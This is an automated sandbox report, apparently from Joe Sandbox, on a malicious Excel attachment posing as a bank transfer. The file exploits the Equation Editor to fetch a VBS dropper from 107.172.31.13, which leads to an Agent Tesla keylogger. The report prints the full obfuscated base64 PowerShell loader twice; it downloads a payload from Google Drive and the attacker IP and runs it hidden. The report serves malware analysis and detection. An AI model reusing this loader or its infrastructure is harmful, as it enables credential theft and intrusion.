Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

May check the online IP address of the machine

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

DNS query: name: ip-api.com

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.31.13Connection: Keep-Alive

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /NIGHTTTTMPDW-constraints.vbs HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebaaaaa.txt HTTP/1.1Host: 107.172.31.13Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: EQNEDT32.EXE, 00000002.00000002.471753708.000000000026F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbs
Source: EQNEDT32.EXE, 00000002.00000002.472683807.0000000003560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.172.31.13/NIGHTTTTMPDW-constraints.vbsj
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: AddInProcess32.exe, 00000009.00000002.628239471.000000000244C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.627062305.000000000095C000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wscript.exe, 00000005.00000003.471806519.0000000002B12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.472214860.0000000002B13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000006.00000002.571025263.00000000021D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.520246237.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002430000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.628239471.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.519947637.0000000000330000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.519947637.0000000000383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000242B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.524750374.0000000004FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000008.00000002.520246237.000000000256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
Source: powershell.exe, 00000008.00000002.520246237.0000000003319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPKWk.cs

.Net Code: VG0StEU

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Detected potential crypto function

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00312C88	8_2_00312C88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00311F1D	8_2_00311F1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D38E8	9_2_001D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D4908	9_2_001D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DEBF8	9_2_001DEBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DB430	9_2_001DB430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D3C30	9_2_001D3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E10C8	9_2_005E10C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E40B8	9_2_005E40B8

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: transferencia interbancaria_66579.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318			Jump to behavior

Yara signature match

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/10@3/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9108.tmp

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................T.r.u.e.(.P.....4.......<.......\|........W.........................s............................................			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ....................................u.e.(.P.....4.......<.......\|.......!W.........................s............................................			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"
